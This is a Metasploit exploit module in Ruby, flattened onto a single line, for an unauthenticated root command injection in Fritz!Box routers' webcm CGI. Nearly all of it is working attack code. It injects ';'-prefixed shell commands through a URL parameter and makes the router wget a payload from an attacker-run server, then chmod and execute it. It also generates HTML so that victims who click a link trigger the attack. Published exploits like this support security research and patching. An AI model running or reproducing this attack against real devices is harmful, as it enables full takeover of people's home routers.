## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # Note: this module is just a PoC so far # ToDo: # => Architecture/Endianess autodetection # => HTML obfuscation # => Tidying up require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Fritz!Box series webcm Remote Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability found in most Fritz!Box routers due to the insecure usage of the system() function. This module abuses the /usr/www/cgi-bin/webcm binary to execute arbitrary OS commands as root user without authentication. }, 'Author' => [ 'Fabian Bräunlein ', ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://breaking.systems/blog/2014/04/avm-fritzbox-root-rce-from-patch-to-metasploit-module-i' ], [ 'URL', 'http://www.avm.de/de/Sicherheit/liste_update.html' ], [ 'URL', 'http://www.avm.de/de/Sicherheit/liste_update_weitere.html' ], ], 'DisclosureDate' => 'Apr 06 2014', 'Privileged' => true, 'Platform' => %w{ linux unix }, 'Payload' => { 'DisableNops' => true }, 'DefaultOptions' => { 'RHOST' => 'fritz.box' }, 'Targets' => [ [ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ], [ 'Linux mipsel Payload', { 'Arch' => ARCH_MIPSLE, 'Platform' => 'linux' } ], [ 'Linux mips Payload', { 'Arch' => ARCH_MIPS, 'Platform' => 'linux' } ], ], 'DefaultTarget' => 1 ) ) register_options( [ OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)']), OptBool.new('GEN_HTML', [ true, 'Only generate HTML to embed into an existing site', false]), OptInt.new('HTTP_DELAY', [ true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), ], self.class) register_advanced_options( [ OptBool.new('SRV_HTML', [ true, 'Serve the generated HTML file on a local webserver', false]), OptInt.new('SRV_HTML_PORT', [ false, 'The port to serve the generated HTML file on', 8081]), OptInt.new('SRV_HTML_FILE', [ false, 'The filename to serve the generated HTML file as']), ], self.class) end def execute_cmd(cmd) uri = '/cgi-bin/webcm' begin res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', 'vars_get' => { "var:lang" => cmd } }) return res rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return nil end end def check # TODO: The clue is an invalid header field. Although you can see it in Wireshark, res.headers doesn't contain the clue clue = Rex::Text::rand_text_alpha(rand(5) + 5) res = execute_cmd("; echo -e \"#{clue}\"") if res and res.headers =~ /#{clue}/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) rhost = datastore['RHOST'] rport = datastore['RPORT'] # If the payload is a simple command, execute it if target.name =~ /CMD/ if not (datastore['CMD']) fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") end cmd = payload.encoded if cmd.length > 93 fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Maximum command length: 93 bytes") end res = execute_cmd(';'+cmd) if (!res) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute command") else #TODO: print _the whole_ response besides last lines print_status("#{rhost}:#{rport} - Command sent, Response:\n#{res.to_s}") end return end @pl = generate_payload_exe @elf_sent = false # # start our server # resource_uri = '/' + downfile if (datastore['DOWNHOST']) service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else # do not use SSL if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end # we use SRVHOST as download IP for the coming wget command. # SRVHOST needs a real IP address of our download host if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore end # # download payload # # this filename is used to store the payload on the device in /var/tmp filename = rand_text_alpha_lower(8) # maximum length of 93 bytes and no combined commands possible, so we have to split the command download_cmd = "; /usr/bin/wget #{service_url} -O /tmp/#{filename}" chmod_cmd = "; chmod 777 /var/tmp/#{filename}" exe_cmd = "; /var/tmp/#{filename}" unless datastore['GEN_HTML'] || datastore['SRV_HTML'] # payload download request print_status("#{rhost}:#{rport} - Asking the Fritz!Box to download #{service_url}") res = execute_cmd(download_cmd) if (!res) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload (download of payload failed)") end # wait for payload download if (datastore['DOWNHOST']) print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Fritz!Box to download the payload") select(nil, nil, nil, datastore['HTTP_DELAY']) else wait_linux_payload end # # chmod # print_status("#{rhost}:#{rport} - Asking the Fritz!Box to chmod #{filename}") res = execute_cmd(chmod_cmd) if (!res) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to chmod 777 payload") end print_status("#{rhost}:#{rport} - Asking the Fritz!Box execute #{filename}") res = execute_cmd(exe_cmd) if (!res) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") end register_file_for_cleanup("/tmp/#{filename}") return end html = %Q| logo | if datastore['GEN_HTML'] print_status("#{rhost}:#{rport} - Add this html into your template and start the approptiate handler\n#{html}") end # If this HTML should be directly served on a local server - this is not very likely if datastore['SRV_HTML'] # # start the server # html_filename = datastore['SRV_HTML_FILE'] || rand_text_alpha(8+rand(8)) html_uri = '/' + downfile + '.html' # do not use SSL if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end # we use SRVHOST as server IP again service_url = 'http://' + srv_host + ':' + datastore['SRV_HTML_PORT'].to_s + resource_uri print_status("#{rhost}:#{rport} - Starting up our HTML file server on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri_html(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore end unless datastore['DOWNHOST'] wait_linux_payload end end # Handle incoming requests from the server def on_request_uri(cli, request) if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the Router...") @elf_sent = true send_response(cli, @pl) end def on_request_uri_html(cli, request) print_status("#{rhost}:#{rport} - Victim clicked the link - initiating stages") send_response(cli, @pl) end # wait for the payload to be sent def wait_linux_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") waited = 0 while (not @elf_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload") end end end end